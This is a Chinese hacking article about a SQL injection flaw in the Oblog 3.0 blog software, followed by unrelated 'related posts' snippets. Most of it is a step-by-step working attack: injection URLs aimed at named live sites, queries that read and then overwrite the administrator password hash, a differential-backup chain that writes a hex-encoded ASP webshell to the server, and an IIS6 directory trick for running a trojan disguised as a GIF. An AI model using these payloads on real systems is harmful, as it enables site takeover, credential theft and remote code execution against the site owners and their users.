O-blog漏洞暴光

ps:郁闷纳,一个整形变量,为什么不做一强制转换呢!

看过第六轮黑防实验室的两位大侠对Oblog3.0 Access版本的渗透过程,敬佩之情犹如滔滔江水连绵不绝,又如黄河之水一发而不可收拾,尤其是他们把社会工程学原理利用得淋漓尽致,以及巧妙的后台上传shell的方法。佩服,佩服。说了这么多废话,我们进入正题,本人在通读Oblog3.0代码的时候发现user_blogmanage.asp文件存在安全隐患,看看下面移动blog日志的操作代码:

sub moveblog()

if id="" then

Oblog.adderrstr("请指定要移动的日志")

Oblog.showusererr

exit sub

end if

dim subjectid

subjectid=trim(request("subject"))

if subjectid="" then

Oblog.adderrstr("请指定要移动的目标专题")

Oblog.showusererr

exit sub

else

subjectid=Clng(subjectid)

end if

if instr(id,",")>0 then

‘如果id变量中含有逗号,去掉变量中的空格,执行下面的sql语句。设为第一条

id=replace(id," ","")

sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql

‘否则执行这个sql语句,设为第二条。

else

sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql

end if

Oblog.Execute sql

dim blog,rs1

set blog=new class_blog

blog.userid=Oblog.logined_uid

blog.update_allsubjectid()

blog.update_index_subject 0,0,0,""

set blog=nothing

set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid)

while not rs.eof

set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0))

Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog_subject.subjectid="&rs(0))

rs.movenext

wend

set rs=nothing

set rs1=nothing

Oblog.showok "更新专题成功,需要重新发布首页,才可使专题统计准确!",""

end sub

再看看文件最上面对id变量的过滤:id=Oblog.filt_badstr(trim(Request("id"))),只用了这条语句,函数代码如下:

public function filt_badstr(str)

If Isnull(Str) Then

filt_badstr = ""

Exit Function

End If

Str = Replace(Str,Chr(0),"")

filt_badstr = Replace(Str,"'","''")

end function

只去掉了\0和单引号,呵呵,这怎能阻止我们的注入攻击呢,找个使用Oblog3.0 SQL版本的站点牛刀小试一下:构造环境测试语句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意语句最后面的”'”,否则不会成功的。

以上注入我们选择的是第一条语句,多了限制条件,就是不能使用空格且提交的语句中要含有逗号。我们可以使用/**/来代替空格。由于限制条件多,以下测试中我们控制程序执行第二条语句。进一步环境刺探:

http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0--

http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。

嘿嘿,测试成功,由于注入语句中不能包含单引号,身经百战的我们当然很容易饶过这条限制,我喜欢使用SQL中的char函数饶过,正好手头有研究动易系统时写的char编码工具,先看看Oblog数据库的表结构,在Oblog_admin表中我们感兴趣的只有id,username和password字段,先暴出admin用户或者id唯一的管理员账号的密码来瞧瞧:

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))--

其中char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e)是对提交的admin使用char函数的编码。返回结果。

我们先记下这个加密的字符串,在恢复管理员密码的时候需要再次使用。修改后台管理员的密码:

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] set password= char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) where id=1--

其中的char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)% 2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63) %2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) 是469e80d32c0559f8字符串的编码,469e80d32c0559f8对应的md5明文为admin888,对字符串的编码可以使用如下的工具。

当然大家也一定都有比着更好的工具。这样我们就将后台id为1的管理员的密码修改为admin888了,注意id为1的管理员对应的账号默认为admin如果你不确定,可以使用如下的语句查看:

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)—

修改完毕,登录一下后台看看是否成功修改管理员密码。good,我们已经拿到了后台管理权限了,爽哉。不要高兴的太早了,虽然我们进入了后台但是SQL版本不同于Access版本,前期两位大侠介绍的通过备份数据库获取WebShell的方法在SQL版本上是行不通的,看看 admin_database.asp的如下代码大家就明白了:

dim dbpath

dim ObjInstalled

if not IsObject(conn) then link_database

if is_sqldata=0 then dbpath=server.mappath(db)

如果使用的是Access版本才初始化dbpath参数的。

在这里我给大家介绍几种SQL版本获取WebShell的方法。

先说说第一种比较通用的方法吧,利用SQL SERVER的特性,方法有通过xp_cmdshell,利用OLE对象接口,利用sp_makeWebtask,通过增量备份等等的方法。利用这些方法的一个必要的条件:Web物理路径我们可以从后台的管理首页中轻松获取。关于具体注入语句大家可以参看uploadshell.exe中的相关代码。在实现中注意处理掉其中的单引号。程序可以自动获取IE中的cookie信息。故无须填写cookie信息。

关于利用后台功能上传shell,确实把我难为了半天,想得头都大了,刚开始方法是天使娃娃他们的想法是一样的添加个shtm上传文件类型,将conn.asp包含进去,这样只能看到数据库连接信息,如果对方装有防火墙或者权限不很高的话也不能获取shell,后来就想出添加aaspsp/和asp/上传文件类型,这样通过修改数据包提示上传成功,但是却没有真的上传成功了,很是郁闷。假期期间,也没有那么多时间去查找原因了,这时候忽然看到了在后台可以设置用户目录的,这时候突然记得网上曾经流传着对于windows2003系统和IIS6.0假设的Web平台有个特性,就是**.asp虚拟目录下的任何扩展名的文件都会被作为asp文件被解释执行的,想到这里差点兴奋的跳起来,嘿嘿。请看操作:在后台常规设置|用户目录管理中新建一个**.asp的目录。并将这个目录设置成为默认的目录,如上图所示。然后到网站去注册一个新的用户,然后进入管理中心,选择相册,上传一个asp木马的假gif文件。这样当我们访问这个gif文件的时候IIS会将此文件作为asp文件解析,我在本机使用Access版本做了测试发现能够把文件上传上去。但是在对SQL版本测试时发现并不能正确上传文件到这个目录的,出现如下的错误信息:

ADODB.Stream 错误 '800a0bbc'

写入文件失败。

/inc/Upload.inc,行 312

虽然不能成功,但这却是我们后台上传木马的好方法,因为大部分asp整站程序在后台都允许后台修改上传目录的,比如动易系统等。没办法,我们只能使用第一种方法了,开工。

第一步:

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000);select @a=db_name();select @s=0x77006F006B0061006F002E00620061006B00;backup database @a to disk=@s--

注意了,在语句中一定不能含有单引号的,

第二步:

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo].[llikz] ([cmd] [image])—

第三步:

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into llikz(cmd) values(0x3C25657865637574652872657175657374282261222929253E)—

注意其中0x3C25657865637574652872657175657374282261222929253E为

第四步:

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000) select @a=db_name();select @s=0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000;backup database @a to disk=@s WITH DIFFERENTIAL—

其中的 0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000 是在后台得到的Web的物理路径。

利用增量备份只需要public的权限,应该是OBLOG 3.0 SQL版本拿WebShell的最好方法了。如果你感觉操作很复杂,那就不需要上传WebShell了,进后台把自己的账号修改为VIP用户,或者将上传空间修改为100000000KB,把blog当作一个网络优盘也不错的,呵呵。由于Oblog在互联网上的风靡,漏洞危害性很大,大家不要乱搞破坏哦。

(0)

相关推荐

  • O-blog漏洞暴光

    ps:郁闷纳,一个整形变量,为什么不做一强制转换呢! 看过第六轮黑防实验室的两位大侠对Oblog3.0 Access版本的渗透过程,敬佩之情犹如滔滔江水连绵不绝,又如黄河之水一发而不可收拾,尤其是他们把社会工程学原理利用得淋漓尽致,以及巧妙的后台上传shell的方法.佩服,佩服.说了这么多废话,我们进入正题,本人在通读Oblog3.0代码的时候发现user_blogmanage.asp文件存在安全隐患,看看下面移动blog日志的操作代码: sub moveblog() if id=""

  • 转自武大bbs的文章,很长,但真的很不错!

    亲爱的武大校友们: 在美国,这里还在放圣诞假呢,可我的心却没有跟着放假,我时时刻刻还关注着这边.应他,也就是"天才中的天才"的要求,我想我在这里冒昧地给大家说点什么吧.以一个过来人的身份. 最近,我的心一直被今日美国上一个叫吴孟超的老人给牵动着.他和他的老师在他拿到国家科技最高奖后,当着记者痛斥那些因为钱就不看病的医生.两个古稀老人,勇气却如此的不寻常. 现在已经很难再寻找这样的勇气了. 曾几何时,我把21世纪的e-generation想象的无比的美好,认为他们一定能发展中国,重振国威

  • node.js 一个简单的页面输出实现代码

    安装过程就不说了.如果成功是能使用node的命令.node.js调试是非常方便的.每种后台语言都有一个向那个黑黢黢的控制台团输出语用的命令.node.js沿用FF那套东西,也就是console对象与其方法.我们首先建一个example.js文件,内容如下,然后在控制台打开它. 复制代码 代码如下: console.log("hello node.js") for(var i in console){ console.log(i+" "+console[i]) } n

  • 惊现索引擎如何索引收录网页的方法

    highdiy 发表在 五月 9, 2007  对SEO(搜索引擎优化)而言,让网站内的页面能够及时.全面地被搜索引擎索引.收录应该说是首要的任务,这是实施其他SEO策略的最基本保证.--不过,这也是往往易被高估的一个环节,比如说我们时常可以看到某些人宣称自己的网站被Google收录了多少页面如几K甚至几十K等以证明SEO工作的成功.但客观地说,网页仅仅被搜索引擎索引.收录是没有太大的实际意义,往往只能沦为浩如烟海的Internet世界中的殉葬品,更重要的是如何让网页出现在针对特定搜索项的SER

  • 新发现一个骗链接的方法(js读取cookies)

    你好,我们已经加 http://www.114desk.com 为友情链接了, 下面这个网页里最后一个链接是你们的 http://www.bole18.com/link.php?result=%0A%0D%3D%3DQbvNmLrNXZkRTMx4yd3d3LvoDc0RHag1r1aHr5DD81dc 我们的GOOGLE PR为4,链我们请使用下面代码,谢谢 <a href="铂金钻戒网">http://www.bole18.com</a> 于是我打开其网址,

  • 详解Spring-bean的循环依赖以及解决方式

    本文主要是分析Spring bean的循环依赖,以及Spring的解决方式. 通过这种解决方式,我们可以应用在我们实际开发项目中. 1. 什么是循环依赖? 循环依赖其实就是循环引用,也就是两个或则两个以上的bean互相持有对方,最终形成闭环.比如A依赖于B,B依赖于C,C又依赖于A.如下图: 注意,这里不是函数的循环调用,是对象的相互依赖关系.循环调用其实就是一个死循环,除非有终结条件. Spring中循环依赖场景有: (1)构造器的循环依赖 (2)field属性的循环依赖. 循环依赖的产生和解

  • vue-autoui自匹配webapi的UI控件的实现

    vue-autoui 是一款基于vue和element扩展的一个自动化UI控件,它主要提供两个控件封装分别是auto-form和auto-grid; 通过这两个控件可以完成大多数的信息输入和查询输出的需要.auto-form和auto-grid是通过json来描述展示的结构,在处理上要比写html标签来得方便简单, 但这控件的最大优势并不是在这里,它最重要的功能是可以结合webapi的信息来自动输出界面,只需要调整webapi的信息结构即可完成UI的调整. 基础使用 控件可以直接在vuejs功能

  • LBS blog sql注射漏洞[All version]-官方已有补丁

    呵呵,只是证明下漏洞存在 exp如下,保存为vbs,自己下个程序测试自己吧 'From 剑心 '============================================================================ '使用说明: ' 在命令提示符下: ' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码 '如: ' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1

  • NET IIS暴绝对路径漏洞

    Title:Microsoft ASP.NET May Disclose Web Directory to Remote Users in Certain Cases Description: If the ASP.NET application does not filter the error message, the web  directory information may be disclosed to remote users by using an unavailable fil

  • 揭露88red生成htm静态页面企业建站系统漏洞第1/2页

    作者:小帥(xsser)@[0.S.T]  本文已发表在<黑客手册>第4期,转载请注明出处,或以超链接方式注明:http://blog.0kee.com/xiaoshuai 小帥's blog 很久没去asp300溜达了,不去总觉得的对不起这个发布站的流量,也对不起黑客手册那么多读者的强烈要求(别扔鸡蛋!扔钱!),那好,既然牛都吹起来了,我不得不冒着生命危险看看代码吧,反正我下载下来的时候就觉得很伟大,这个系统很伟大,他吹的比我还大,好好,我们看他怎么说的:88red生成htm静态页面企业建站

随机推荐